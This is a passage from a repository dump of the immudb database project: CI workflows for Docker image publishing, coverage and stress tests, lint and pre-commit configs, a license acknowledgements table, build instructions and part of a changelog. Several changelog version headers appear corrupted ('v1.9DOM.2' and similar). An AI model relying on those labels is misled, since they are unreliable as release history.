build/fips/Dockerfile.immuadmin .\n            docker build --tag \"${DOCKER_IMAGE_IMMUCLIENT_FIPS}:dev\" -f build/fips/Dockerfile.immuclient .\n\n            docker login -u \"${{ secrets.REGISTRY_USER }}\" -p \"${{ secrets.REGISTRY_PASS }}\"\n\n            docker push \"${DOCKER_IMAGE_IMMUDB}:dev\"\n            docker push \"${DOCKER_IMAGE_IMMUDB}:dev-${DEBIAN_VERSION}\"\n            docker push \"${DOCKER_IMAGE_IMMUDB}:dev-${ALMA_VERSION}\"\n            docker push \"${DOCKER_IMAGE_IMMUADMIN}:dev\"\n            docker push \"${DOCKER_IMAGE_IMMUCLIENT}:dev\"\n            docker push \"${DOCKER_IMAGE_IMMUDB_FIPS}:dev\"\n            docker push \"${DOCKER_IMAGE_IMMUADMIN_FIPS}:dev\"\n            docker push \"${DOCKER_IMAGE_IMMUCLIENT_FIPS}:dev\"\n\n            if [[ ! -z \"$VERSION_TAG\" ]]; then\n              for tag in \"${VERSION_TAG}\" \"${VERSION_TAG_SHORT}\" \"latest\"; do\n                docker tag \"${DOCKER_IMAGE_IMMUDB}:dev\" \"${DOCKER_IMAGE_IMMUDB}:${tag}\"\n                docker push \"${DOCKER_IMAGE_IMMUDB}:${tag}\"\n\n                docker tag \"${DOCKER_IMAGE_IMMUDB}:dev-${DEBIAN_VERSION}\" \"${DOCKER_IMAGE_IMMUDB}:${tag}-${DEBIAN_VERSION}\"\n                docker push \"${DOCKER_IMAGE_IMMUDB}:${tag}-${DEBIAN_VERSION}\"\n\n                docker tag \"${DOCKER_IMAGE_IMMUDB}:dev-${ALMA_VERSION}\" \"${DOCKER_IMAGE_IMMUDB}:${tag}-${ALMA_VERSION}\"\n                docker push \"${DOCKER_IMAGE_IMMUDB}:${tag}-${ALMA_VERSION}\"\n\n                docker tag \"${DOCKER_IMAGE_IMMUADMIN}:dev\" \"${DOCKER_IMAGE_IMMUADMIN}:${tag}\"\n                docker push \"${DOCKER_IMAGE_IMMUADMIN}:${tag}\"\n\n                docker tag \"${DOCKER_IMAGE_IMMUCLIENT}:dev\" \"${DOCKER_IMAGE_IMMUCLIENT}:${tag}\"\n                docker push \"${DOCKER_IMAGE_IMMUCLIENT}:${tag}\"\n\n                docker tag \"${DOCKER_IMAGE_IMMUDB_FIPS}:dev\" \"${DOCKER_IMAGE_IMMUDB_FIPS}:${tag}\"\n                docker push \"${DOCKER_IMAGE_IMMUDB_FIPS}:${tag}\"\n\n                docker tag \"${DOCKER_IMAGE_IMMUADMIN_FIPS}:dev\" \"${DOCKER_IMAGE_IMMUADMIN_FIPS}:${tag}\"\n                docker push \"${DOCKER_IMAGE_IMMUADMIN_FIPS}:${tag}\"\n\n                docker tag \"${DOCKER_IMAGE_IMMUCLIENT_FIPS}:dev\" \"${DOCKER_IMAGE_IMMUCLIENT_FIPS}:${tag}\"\n                docker push \"${DOCKER_IMAGE_IMMUCLIENT_FIPS}:${tag}\"\n\n              done\n            fi\n\n            docker logout\n\n\n  coveralls:\n    name: Publish coverage\n    needs:\n      - gosec\n      - old-go\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/setup-go@v6\n        with:\n          go-version: ${{ env.GO_VERSION }}\n      - uses: actions/checkout@v4\n      - run: |\n          # Spawn minio docker container in the background\n          docker run -d -t -p 9000:9000 --name minio \\\n            -e \"MINIO_ACCESS_KEY=minioadmin\" \\\n            -e \"MINIO_SECRET_KEY=minioadmin\" \\\n            minio/minio server /data\n\n          # Create immudb bucket\n          docker run --net=host -t --entrypoint /bin/sh minio/mc -c \"\n            mc alias set local http://localhost:9000 minioadmin minioadmin &&\n            mc mb local/immudb\n          \"\n\n          export PATH=$PATH:$(go env GOPATH)/bin\n          set -o pipefail\n          ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,fs,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger  --tags minio || true\n          cat coverage.txt | grep -v \"test\" | grep -v \"schema\" | grep -v \"protomodel\" | grep -v \"swagger\" | grep -v \"webserver.go\" | grep -v \"immuclient\" | grep -v \"immuadmin\" | grep -v \"helper\" | grep -v \"fs\" | grep -v \"cmdtest\" | grep -v \"sservice\" | grep -v \"version\" | grep -v \"tools\" | grep -v \"webconsole\" > coverage.out\n          ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci\n\n          # Stop minio\n          docker rm -f minio\n        env:\n          COVERALLS_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n      - name: Analyze with SonarCloud\n        uses: sonarsource/sonarcloud-github-action@master\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/stress.yml",
    "content": "name: immudb Stress\non:\n  pull_request:\n    branches:\n    - '**'\n  schedule:\n    - cron: '0 0 * * *'\n\njobs:\n  stress-build:\n    runs-on: ubuntu-latest\n    steps:\n    - name: Setup runner for Go\n      uses: actions/setup-go@v6\n      with:\n        go-version: \"1.24\"\n    - uses: actions/checkout@v4\n    - name: Build stress tool\n      run: |\n        go build embedded/tools/stress_tool/stress_tool.go\n    - name: \"| Entries: 1M | Workers: 20  | Batch: 1k | Batches: 50 |\"\n      id: e_1m_w_20_b_1k_bs_50\n      run: |\n        rm -rf data\n        SECONDS=0\n        ./stress_tool -mode auto -committers 20 -kvCount 1000 -txCount 50 -txRead -synced\n        echo \"duration_1=$SECONDS\" >> $GITHUB_ENV\n    - name: \"| Entries: 1M | Workers: 50  | Batch: 1k | Batches: 20 |\"\n      id: e_1m_w_50_b_1k_bs_20\n      run: |\n        rm -rf data\n        SECONDS=0\n        ./stress_tool -mode auto -committers 50 -kvCount 1000 -txCount 20 -txRead -synced\n        echo \"duration_2=$SECONDS\" >> $GITHUB_ENV\n    - name: \"| Entries: 1M | Workers: 100 | Batch: 1k | Batches: 10 |\"\n      id: e_1m_w_100_b_1k_bs_10\n      run: |\n        rm -rf data\n        SECONDS=0\n        ./stress_tool -mode auto -committers 100 -kvCount 1000 -txCount 10 -txRead -synced\n        echo \"duration_3=$SECONDS\" >> $GITHUB_ENV\n    - name: Create the Mattermost message\n      if: github.event.schedule == '0 0 * * *'\n      run: >\n        echo \"{\\\"text\\\":\\\"### Stress tests results for scheduled daily run on ${{ github.ref_name }} branch\\n\n        | Step | Result | Duration |\\n\n        | ---- | ------ | -------- |\\n\n        | Entries: 1M - Workers: 20 - Batch: 1k - Batches: 50 | ${{ steps.e_1m_w_20_b_1k_bs_50.outcome }} | ${{ env.duration_1 }}s |\\n\n        | Entries: 1M - Workers: 50 - Batch: 1k - Batches: 20 | ${{ steps.e_1m_w_50_b_1k_bs_20.outcome }} | ${{ env.duration_2 }}s |\\n\n        | Entries: 1M - Workers: 100 - Batch: 1k - Batches: 10 | ${{ steps.e_1m_w_100_b_1k_bs_10.outcome }} | ${{ env.duration_3 }}s |\\n\n        **Check details [here](${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }})**\n        \\\"}\" > mattermost.json && echo MM_PAYLOAD=$(cat mattermost.json) >> $GITHUB_ENV\n    - name: Notify on immudb channel on Mattermost\n      if: github.event.schedule == '0 0 * * *'\n      uses: mattermost/action-mattermost-notify@master\n      with:\n        MATTERMOST_WEBHOOK_URL: ${{ secrets.MATTERMOST_WEBHOOK_URL }}\n        MATTERMOST_CHANNEL: 'immudb-tests'\n        PAYLOAD: ${{ env.MM_PAYLOAD }}\n"
  },
  {
    "path": ".gitignore",
    "content": "# Binaries for programs and plugins\n*.exe\n*.exe~\n*.dll\n*.so\n*.dylib\n\n# Test binary, build with `go test -c`\n*.test\n\n# Output of the go coverage tool, specifically when used with LiteIDE\n*.out\ncoverage.txt\n\n# Output of goyacc\nembedded/sql/y.output\n\n# Editor\n.vscode\n.idea\n*.iml\n*.swp\n\n# Environment\n.env\n\n# macOS\n.DS_Store\n\n# Binaries\n/immuclient\n/immuadmin\n/immutest\n/immudb\n/nimmu\n/bm\n/immutc\n\n/dist\n\n# Working files\n.root*\nimmudb.pid\n/data\n\n# Vendor\nvendor\n\n# immudb auth\nimmudb_pwd\ntoken\ntoken_admin\n\nswagger/dist\nswagger/swaggerembedded\nwebconsole/webconsoleembedded\n"
  },
  {
    "path": ".golangci.yml",
    "content": "# This file contains all available configuration options\n# with their default values.\n\n# options for analysis running\nrun:\n  # default concurrency is a available CPU number\n  concurrency: 4\n\n  # timeout for analysis, e.g. 30s, 5m, default is 1m\n  deadline: 1m\n\n  # exit code when at least one issue was found, default is 1\n  issues-exit-code: 1\n\n  # include test files or not, default is true\n  tests: false\n\n  skip-dirs:\n    - pkg/api\n# output configuration options\noutput:\n  # colored-line-number|line-number|json|tab|checkstyle, default is \"colored-line-number\"\n  format: colored-line-number\n\n  # print lines of code with issue, default is true\n  print-issued-lines: true\n\n  # print linter name in the end of issue text, default is true\n  print-linter-name: true\n\n\n# all available settings of specific linters\nlinters-settings:\n  errcheck:\n    # report about not checking of errors in type assetions: `a := b.(MyStruct)`;\n    # default is false: such cases aren't reported by default.\n    check-type-assertions: false\n\n    # report about assignment of errors to blank identifier: `num, _ := strconv.Atoi(numStr)`;\n    # default is false: such cases aren't reported by default.\n    check-blank: false\n\n    # [deprecated] comma-separated list of pairs of the form pkg:regex\n    # the regex is used to ignore names within pkg. (default \"fmt:.*\").\n    # see https://github.com/kisielk/errcheck#the-deprecated-method for details\n    ignore: fmt:.*,io/ioutil:^Read.*\n\n    # path to a file containing a list of functions to exclude from checking\n    # see https://github.com/kisielk/errcheck#excluding-functions for details\n    #exclude: /path/to/file.txt\n  govet:\n    # report about shadowed variables\n    check-shadowing: true\n  golint:\n    # minimal confidence for issues, default is 0.8\n    min-confidence: 0.8\n  gofmt:\n    # simplify code: gofmt with `-s` option, true by default\n    simplify: true\n  goimports:\n    # put imports beginning with prefix after 3rd-party packages;\n    # it's a comma-separated list of prefixes\n    local-prefixes: github.com/org/project\n  gocyclo:\n    # minimal code complexity to report, 30 by default (but we recommend 10-20)\n    min-complexity: 15\n  maligned:\n    # print struct with more effective memory layout or not, false by default\n    suggest-new: true\n  dupl:\n    # tokens count to trigger issue, 150 by default\n    threshold: 100\n  goconst:\n    # minimal length of string constant, 3 by default\n    min-len: 3\n    # minimal occurrences count to trigger, 3 by default\n    min-occurrences: 3\n  depguard:\n    list-type: blacklist\n    include-go-root: false\n    packages:\n    - github.com/davecgh/go-spew/spew\n  misspell:\n    # Correct spellings using locale preferences for US or UK.\n    # Default is to use a neutral variety of English.\n    # Setting locale to US will correct the British spelling of 'colour' to 'color'.\n    locale: US\n  lll:\n    # max line length, lines longer will be reported. Default is 120.\n    # '\\t' is counted as 1 character by default, and can be changed with the tab-width option\n    line-length: 120\n    # tab width in spaces. Default to 1.\n    tab-width: 1\n  unused:\n    # treat code as a program (not a library) and report unused exported identifiers; default is false.\n    # XXX: if you enable this setting, unused will report a lot of false-positives in text editors:\n    # if it's called for subdir of a project it can't find funcs usages. All text editor integrations\n    # with golangci-lint call it on a directory with the changed file.\n    check-exported: false\n  unparam:\n    # call graph construction algorithm (cha, rta). In general, use cha for libraries,\n    # and rta for programs with main packages. Default is cha.\n    algo: cha\n\n    # Inspect exported functions, default is false. Set to true if no external program/library imports your code.\n    # XXX: if you enable this setting, unparam will report a lot of false-positives in text editors:\n    # if it's called for subdir of a project it can't find external interfaces. All text editor integrations\n    # with golangci-lint call it on a directory with the changed file.\n    check-exported: false\n  nakedret:\n    # make an issue if func has more lines of code than this setting and it has naked returns; default is 30\n    max-func-lines: 30\n  prealloc:\n    # XXX: we don't recommend using this linter before doing performance profiling.\n    # For most programs usage of prealloc will be a premature optimization.\n\n    # Report preallocation suggestions only on simple loops that have no returns/breaks/continues/gotos in them.\n    # True by default.\n    simple: true\n    range-loops: true # Report preallocation suggestions on range loops, true by default\n    for-loops: false # Report preallocation suggestions on for loops, false by default\n\nlinters:\n  enable:\n    - govet # Used in main precommit. Vet examines Go source code and reports suspicious constructs, such as Printf calls whose arguments do not align with the format string [fast: true]\n    - errcheck # Errcheck is a program for checking for unchecked errors in go programs. These unchecked errors can be critical bugs in some cases [fast: true]\n    - staticcheck  #Staticcheck is a go vet on steroids, applying a ton of static analysis checks [fast: false]\n    - unused # Checks Go code for unused constants, variables, functions and types [fast: false]\n    - gosimple # Linter for Go source code that specializes in simplifying a code [fast: false]\n    - structcheck # Finds an unused struct fields [fast: true]\n    - varcheck # Finds unused global variables and constants [fast: true]\n    - ineffassign # Detects when assignments to existing variables are not used [fast: true]\n    - deadcode # Finds unused code [fast: true]\n    #- typecheck # Like the front-end of a Go compiler, parses and type-checks Go code [fast: true]\n    #- goimports #  Goimports does everything that gofmt does. Additionally it checks unused imports [fast: true]\n    #- golint # Golint differs from gofmt. Gofmt reformats Go source code, whereas golint prints out style mistakes [fast: true]\n    #- gosec (gas) #  Inspects source code for security problems [fast: true]\n    #- interfacer #  Linter that suggests narrower interface types [fast: false]\n    - unconvert #  Remove unnecessary type conversions [fast: true]\n    #- dupl #  Tool for code clone detection [fast: true]\n    #- goconst #  Finds repeated strings that could be replaced by a constant [fast: true]\n    - gocyclo #  Computes and checks the cyclomatic complexity of functions [fast: true]\n    #- gofmt # Used in main precommit.  Gofmt checks whether code was gofmt-ed. By default this tool runs with -s option to check for code simplification [fast: true]\n    #- maligned #  Tool to detect Go structs that would take less memory if their fields were sorted [fast: true]\n    #- megacheck #  3 sub-linters in one: unused, gosimple and staticcheck [fast: false]\n    #- depguard #  Go linter that checks if package imports are in a list of acceptable packages [fast: true]\n    - misspell #  Finds commonly misspelled English words in comments [fast: true]\n    #- lll #  Reports long lines [fast: true]\n    #- unparam #  Reports unused function parameters [fast: false]\n    #- nakedret #  Finds naked returns in functions greater than a specified function length [fast: true]\n    #- prealloc #  Finds slice declarations that could potentially be preallocated [fast: true]\n    #- scopelint #  Scopelint checks for unpinned variables in go programs [fast: true]\n    #- gocritic #  The most opinionated Go source code linter [fast: true]\n    #- gochecknoinits #  Checks that no init functions are present in Go code [fast: true]\n    #- gochecknoglobals #  Checks that no globals are present in Go code [fast: true]\n  fast: true\n\n\nissues:\n  # List of regexps of issue texts to exclude, empty list by default.\n  # But independently from this option we use default exclude patterns,\n  # it can be disabled by `exclude-use-default: false`. To list all\n  # excluded by default patterns execute `golangci-lint run --help`\n  exclude:\n    - \"not declared by package utf8\"\n    - \"unicode/utf8/utf8.go\"\n    #- \".*defer.*\"\n\n  # Independently from option `exclude` we use default exclude patterns,\n  # it can be disabled by this option. To list all\n  # excluded by default patterns execute `golangci-lint run --help`.\n  # Default value for this option is true.\n  exclude-use-default: false\n\n  # Maximum issues count per one linter. Set to 0 to disable. Default is 50.\n  max-per-linter: 0\n\n  # Maximum count of issues with the same text. Set to 0 to disable. Default is 3.\n  max-same-issues: 0\n\n  # Show only new issues: if there are unstaged changes or untracked files,\n  # only those changes are analyzed, else only changes in HEAD~ are analyzed.\n  # It's a super-useful option for integration of golangci-lint into existing\n  # large codebase. It's not practical to fix all existing issues at the moment\n  # of integration: much better don't allow issues in new code.\n  # Default is false.\n  new: false\n\n  # Show only new issues created after git revision `REV`\n  #new-from-rev: REV\n\n  # Show only new issues created in git patch with set file path.\n  #new-from-patch: path/to/patch/file\n"
  },
  {
    "path": ".pre-commit-config.yaml",
    "content": "\nrepos:\n- repo: git://github.com/pre-commit/pre-commit-hooks\n  rev: v2.1.0\n  hooks:\n  - id: check-merge-conflict\n  - id: check-yaml\n  - id: end-of-file-fixer\n  - id: trailing-whitespace\n- repo: git://github.com/dnephin/pre-commit-golang\n  rev: v0.3.3\n  hooks:\n  - id: go-fmt\n  - id: validate-toml\n  - id: no-go-testing\n"
  },
  {
    "path": "ACKNOWLEDGEMENTS.md",
    "content": "# software\n\nimmudb copyright info:\n Copyright 2022 Codenotary Inc. All rights reserved.\n Released under [Apache 2.0 License](https://raw.githubusercontent.com/codenotary/immudb/master/LICENSE).\n\nReadme has been inspired by the amazing Netdata community project.\n[Netdata](https://github.com/netdata/netdata)\n\n\nimmudb uses the following amazing open source projects. Copyright by their respective copyright holders and Codenotary Inc.\n\n| Project                                                      | License                                                      |\n| ------------------------------------------------------------ | ------------------------------------------------------------ |\n| [cobra](https://github.com/spf13/cobra)                      | [Apache License 2.0](https://github.com/spf13/cobra/blob/master/LICENSE.txt) |\n| [go-homedir](https://github.com/mitchellh/go-homedir)        | [MIT](https://github.com/mitchellh/go-homedir/blob/master/LICENSE) |\n| [viper](https://github.com/spf13/viper)                      | [MIT](https://github.com/spf13/viper/blob/master/LICENSE)    |\n| [xid](https://github.com/rs/xid)                             | [MIT](https://github.com/rs/xid/blob/master/LICENSE)         |\n| [Prometheus Go client library](https://github.com/prometheus/client_golang) | [Apache License 2.0](https://github.com/prometheus/client_golang/blob/master/LICENSE) |\n| [Go gRPC Middleware](https://github.com/grpc-ecosystem/go-grpc-middleware) | [Apache License 2.0](https://github.com/grpc-ecosystem/go-grpc-middleware/blob/master/LICENSE) |\n| [go-toml](https://github.com/pelletier/go-toml)              | [MIT](https://github.com/pelletier/go-toml/blob/master/LICENSE) |\n| [File system notifications for Go](https://github.com/fsnotify/fsnotify) | [BSD 3-Clause \"New\" or \"Revised\" License](https://github.com/fsnotify/fsnotify/blob/master/LICENSE) |\n| [jWalterWeatherman](https://github.com/spf13/jwalterweatherman) | [MIT](https://github.com/spf13/jwalterweatherman/blob/master/LICENSE) |\n| [HCL](https://github.com/hashicorp/hcl)                      | [Mozilla Public License 2.0](https://github.com/hashicorp/hcl/blob/master/LICENSE) |\n| [mapstructure](https://github.com/mitchellh/mapstructure)    | [MIT](https://github.com/mitchellh/mapstructure/blob/master/LICENSE) |\n| [grpc-gateway](https://github.com/grpc-ecosystem/grpc-gateway) | [BSD 3-Clause \"New\" or \"Revised\" License](https://github.com/grpc-ecosystem/grpc-gateway/blob/master/LICENSE.txt) |\n| [cast](https://github.com/spf13/cast)                        | [MIT](https://github.com/spf13/cast/blob/master/LICENSE)     |\n| [go-md2man](https://github.com/cpuguy83/go-md2man)           | [MIT](https://github.com/cpuguy83/go-md2man/blob/master/LICENSE.md) |\n| [xxhash](https://github.com/cespare/xxhash)                  | [MIT](https://github.com/cespare/xxhash/blob/master/LICENSE.txt) |\n| [Data model artifacts for Prometheus](https://github.com/prometheus/client_model) | [Apache License 2.0](https://github.com/prometheus/client_model/blob/master/LICENSE) |\n| [pflag](https://github.com/spf13/pflag)                      | [BSD 3-Clause \"New\" or \"Revised\" License](https://github.com/spf13/pflag/blob/master/LICENSE) |\n| [Go support for Protocol Buffers](https://github.com/protocolbuffers/protobuf-go) | [License](https://github.com/protocolbuffers/protobuf-go/blob/master/LICENSE) |\n| [Ristretto](https://github.com/dgraph-io/ristretto)          | [Apache License 2.0](https://github.com/dgraph-io/ristretto/blob/master/LICENSE) |\n| [AFERO](https://github.com/spf13/afero)                      | [Apache License 2.0](https://github.com/spf13/afero/blob/master/LICENSE.txt) |\n| [Blackfriday](https://github.com/russross/blackfriday)       | [Simplified BSD License](https://github.com/russross/blackfriday/blob/master/LICENSE.txt) |\n| [Humane Units](https://github.com/dustin/go-humanize)        | [License](https://github.com/dustin/go-humanize/blob/master/LICENSE) |\n| [sanitized anchor name](https://github.com/shurcooL/sanitized_anchor_name) | [MIT](https://github.com/shurcooL/sanitized_anchor_name/blob/master/LICENSE) |\n| [go-farm](https://github.com/dgryski/go-farm)                | [MIT](https://github.com/dgryski/go-farm/blob/master/LICENSE) |\n| [PASETO](https://github.com/o1egl/paseto)                    | [MIT](https://github.com/o1egl/paseto/blob/master/LICENSE)   |\n| [ChaCha20](https://github.com/aead/chacha20)                 | [MIT](https://github.com/aead/chacha20/blob/master/LICENSE)  |\n| [Perks](https://github.com/beorn7/perks)                     | [MIT](https://github.com/beorn7/perks/blob/master/LICENSE)   |\n| [Zstd Go Wrapper](https://github.com/DataDog/zstd)           | [Simplified BSD License](https://github.com/DataDog/zstd/blob/1.x/LICENSE) |\n| [gotenv](https://github.com/subosito/gotenv)                 | [MIT](https://github.com/subosito/gotenv/blob/master/LICENSE) |\n| [poly1305](https://github.com/aead/poly1305)                 | [MIT](https://github.com/aead/poly1305/blob/master/LICENSE)  |\n| [Go CORS handler](https://github.com/rs/cors)                | [MIT](https://github.com/rs/cors/blob/master/LICENSE)        |\n"
  },
  {
    "path": "BUILD.md",
    "content": "# Build the binaries yourself\n\nTo build the binaries yourself, simply clone this repo and run\n\n```\nmake all\n```\n\nTo embed the webconsole, build with\n\n```\nrm -rf webconsole/dist  # force download of the correct webconsole version\nmake WEBCONSOLE=default\n```\n\nThis will download the appropriate webconsole release and add the Go build tag `webconsole`\nwhich will use the go:embed to embed the front-end code.\nThe front-end will be then served in the web API root \"/\".\n\nTo regenerate the default page, change the files in webconsole/default and run `make webconsole/default`\n\n## Linux (by component)\n\n```bash\nGOOS=linux GOARCH=amd64 make immuclient-static immuadmin-static immudb-static\n```\n\n## MacOS (by component)\nFor Apple Silicon (M1) use `GOARCH=arm64` instead of `GOARCH=amd64`\n\n```bash\nGOOS=darwin GOARCH=amd64 make immuclient-static immuadmin-static immudb-static\n```\n\n## Windows (by component)\n\n```bash\nGOOS=windows GOARCH=amd64 make immuclient-static immuadmin-static immudb-static\n```\n\n## Freebsd (by component)\n\n```bash\nGOOS=freebsd GOARCH=amd64 make immuclient-static immuadmin-static immudb-static\n```\n# Build the Docker images yourself\n\nIf you want to build the container images yourself, simply clone this repo and run\n\n```\ndocker build -t myown/immudb:latest -f Dockerfile .\ndocker build -t myown/immuadmin:latest -f Dockerfile.immuadmin .\ndocker build -t myown/immuclient:latest -f Dockerfile.immuclient .\n```\nAnd then run immudb as described when pulling official immudb Docker image.\n"
  },
  {
    "path": "CHANGELOG.md",
    "content": "# CHANGELOG\nAll notable changes to this project will be documented in this file. This project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).\n<a name=\"unreleased\"></a>\n## [Unreleased]\n\n\n<a name=\"v1.10.0\"></a>\n## [v1.10.0] - 2025-10-18\n### Bug Fixes\n- display actual config file path in startup logs\n\n### Changes\n- **embedded/sql:** add COALESCE function\n- **embedded/sql:** Implement EXTRACT FROM TIMESTAMP expressions\n- **embedded/sql:** Implement BETWEEN AND expressions\n\n### Features\n- **helm:** Add comprehensive configuration support for ImmuDB\n\n\n<a name=\"v1.9.7\"></a>\n## [v1.9.7] - 2025-05-30\n### Bug Fixes\n- **embedded/tbtree:** save timestamp to a separate file to avoid rescanning empty indexes\n\n\n<a name=\"v2.0.0-RC1\"></a>\n## [v2.0.0-RC1] - 2025-05-20\n### Changes\n- v2 version\n\n\n<a name=\"v1.9.6\"></a>\n## [v1.9.6] - 2025-03-31\n### Bug Fixes\n- **embedded/sql:** correctly handle logical operator precedence (NOT, AND, OR)\n\n### Changes\n- **embedded/sql:** Support PRIMARY KEY constraint on individual columns\n- **embedded/sql:** Add support for core pg_catalog tables (pg_class, pg_namespace, pg_roles)\n- **embedded/sql:** add support for LEFT JOIN\n- **embedded/sql:** add support for SELECT FROM VALUES syntax\n- **embedded/sql:** Allow expressions in ORDER BY clauses\n- **embedded/sql:** Add support for simple CASE statements\n- **embedded/sql:** Implement CASE statement\n- **pkg/replication:** add replication lag metric\n\n\n<a name=\"v1.9.5\"></a>\n## [v1.9.5] - 2024-09-16\n### Bug Fixes\n- time.Since should not be used in defer statement\n- **pkg/dabase:** return error when attempting to access deleted database\n- **pkg/pgsql/server:** close row readers to release resources\n- **pkg/server:** run metrics server under HTTPS\n\n### Changes\n- **embedded/logging:** improve file base logging.\n- **embedded/sql:** improvements on SQL layer.\n- **embedded/store:** improve index flush logic\n- **pkg/database:** implement database manager\n- **pkg/server:** implement automatic generation of self-signed HTTPS certificate\n\n\n<a name=\"v1.9.4\"></a>\n## [v1.9.4] - 2024-07-25\n### Bug Fixes\n- set mattermost payload\n\n\n<a name=\"v1.9.3\"></a>\n## [v1.9.3] - 2024-05-23\n### Changes\n- fix some comments\n- refactor image building\n- The GitHub workflow push.yml was updated to use the repository owner's Docker images instead of fixed ones. This change allows for more flexibility and control when using Docker images, and ensures that the correct images are used based on the repository owner.\n- Update GitHub Actions to use checkout[@v4](https://github.com/v4)\n- Add support to ARM64\n- **embedded/cache:** replace sync.Mutex with sync.RWMutex\n- **embedded/cache:** validate input params before obtaining mutex lock\n\n### Reverts\n- test with github token\n- chore(embedded/cache): replace sync.Mutex with sync.RWMutex\n\n\n<a name=\"v1.9DOM.2\"></a>\n## [v1.9DOM.2] - 2023-12-29\n### Bug Fixes\n- apply fix for CVE-2023-44487\n- performance test regression\n\n### Changes\n- **deps:** bump actions/setup-go from 3 to 5\n- **deps:** bump actions/upload-artifact from 3 to 4\n- **deps:** bump actions/download-artifact from 3 to 4\n- **deps:** bump google.golang.org/grpc in /test/e2e/truncation\n- **deps:** bump google.golang.org/protobuf from 1.31.0 to 1.32.0\n\n\n<a name=\"v1.9DOM.2-RC1\"></a>\n## [v1.9DOM.2-RC1] - 2023-12-21\n### Bug Fixes\n- performance test regression\n- remove influxdb dependencies\n- correct the test after the merge and latest refactor\n- source /etc/sysconfig/immudb on AWS EC2 startup\n\n### Changes\n- add influxdb (needed for performance test) dependency\n- use goveralls token variable\n- **deps:** bump golang.org/x/crypto in /test/columns\n- **deps:** bump golang.org/x/crypto in /tools/mkdb\n- **deps:** bump golang.org/x/crypto\n- **deps:** bump golang.org/x/crypto in /test/e2e/truncation\n- **deps:** bump golang.org/x/crypto\n- **deps:** bump github.com/rogpeppe/go-internal from 1.9.0 to 1.12.0\n- **deps:** bump golang.org/x/net from 0.17.0 to 0.19.0\n- **deps:** bump golang.org/x/crypto from 0.14.0 to 0.17.0\n\n### Features\n- add s3 (aws) role based auth as an option\n- automatically convert uuid strings and byte slices to uuid values\n\n### Reverts\n- Merge remote-tracking branch 'origin/dependabot/go_modules/github.com/rogpeppe/go-internal-1.12.0' into release/v1.9.2\n\n\n<a name=\"v1.9DOM.1\"></a>\n## [v1.9DOM.1] - 2023-11-16\n### Changes\n- **pkg/pgsql:** handle odbc help\n- **pkg/server:** change permission automatically revokes existing ones\n\n\n<a name=\"v1.9DOM.1-RC1\"></a>\n## [v1.9DOM.1-RC1] - 2023-11-14\n### Bug Fixes\n- lower databasename in OpenSession\n- **embedded/sql:** fix data-race when mapping keys\n- **embedded/sql:** fix data-race when mapping keys\n- **embedded/store:** handle key mapping in ongoing txs\n- **embedded/store:** handle key mapping in ongoing txs\n- **embedded/store:** handle key mapping in ongoing txs\n- **pkg/database:** ensure proper tx validation\n- **pkg/server:** user creation with multidbs\n\n### Changes\n- docker image with swagger ui (for AWS Marketplace)\n- **cmd/immudb:** upgrade to new pgsql changes\n- **deps:** bump github.com/google/uuid from 1.3.1 to 1.4.0\n- **embedded/sql:** user pwd\n- **embedded/sql:** show users stmt\n- **embedded/sql:** wip emulate pg_type system table\n- **embedded/sql:** continue to support databases and tables datasources\n- **embedded/store:** indexer source and target prefixes\n- **pkg/client:** possibility to retrieve session id\n- **pkg/pgsql:** support multiple-statements in simple-query mode\n- **pkg/pgsql:** tls support\n- **pkg/pgsql:** comment describing pgsql wire protocol constraints\n- **pkg/pgsql:** show table/s\n- **pkg/pgsql:** proper handling of queries with empty resultsets\n- **pkg/pgsql:** single command complete message\n- **pkg/pgsql:** protocol enhancements\n- **pkg/pgsql:** uuid and float types conversion\n- **pkg/pgsql:** transactional query machine\n- **pkg/pgsql:** pgsql write protocol improvements\n- **pkg/pgsql:** decouple error from ready to query messages\n- **pkg/pgsql:** handle deallocate prepared stmt\n- **pkg/server:** pgsql server creation only when enabled\n- **pkg/server:** set dynamic immudb server port in pgsql server\n- **pkg/server:** upgrade to transactional pgsql server\n- **pkg/server:** list users from multidb handler\n- **pkg/server:** require proper permissions at multidb handler\n\n### Features\n- **embedded/sql:** show table stmt\n- **embedded/sql:** wip user mgmt\n- **embedded/sql:** show users stmt\n- **embedded/sql:** show databases/tables stmt\n- **pkg/server:** add support of underscore in db name Signed-off-by: Martin Jirku <martin[@jirku](https://github.com/jirku).sk>\n\n\n<a name=\"v1.9DOM.0\"></a>\n## [v1.9DOM.0] - 2023-10-19\n### Changes\n- docker image with swagger ui\n- docker image with swagger ui\n\n\n<a name=\"v1.9DOM\"></a>\n## [v1.9DOM] - 2023-10-19\n### Changes\n- **cmd/immuadmin:** add indexing related flags\n\n### Features\n- **embedded/sql:** table renaming\n\n\n<a name=\"v1.9.0-RC2\"></a>\n## [v1.9.0-RC2] - 2023-10-16\n### Bug Fixes\n- standard syntax for drop index\n- **embedded/sql:** fix sql temporal range evaluation\n\n### Changes\n- **embedded/document:** count with limit in subquery\n- **embedded/sql:** expose subquery creation\n- **pkg/api:** set optional parameters\n- **pkg/api:** set optional parameters\n\n\n<a name=\"v1.9.0-RC1\"></a>\n## [v1.9.0-RC1] - 2023-10-11\n### Bug Fixes\n- insertion ts for key-values should not be equal to the current root ts\n- correct immudb name in readme\n- allow the local id to be used if present even if remote flag is on\n- apply fixes discussed in PR\n- **Makefile:** remove webconsole tag from immuclient/immuadmin builds\n- **embedded/appendable:** explicit freebsd build clauses\n- **embedded/document:** avoid waiting for tx to be committed\n- **embedded/document:** ensure multi-indexing is enabled\n- **embedded/sql:** advance position when decoding value at deleted column\n- **embedded/store:** precommitted transaction discarding recedes durable state\n- **embedded/store:** use correct index path\n- **embedded/store:** handle transient key update\n- **embedded/store:** read lock when fetching indexer\n- **embedded/store:** read lock when pausing indexers\n- **embedded/tbtree:** proper _rev calculation\n- **embedded/tbtree:** snapshot validation\n- **embedded/tbtree:** consider offset for history count calculation\n- **pkg/server:** buffer reuse\n\n### Changes\n- use copy instead of a loop\n- build with swaggerui\n- unnecessary use of 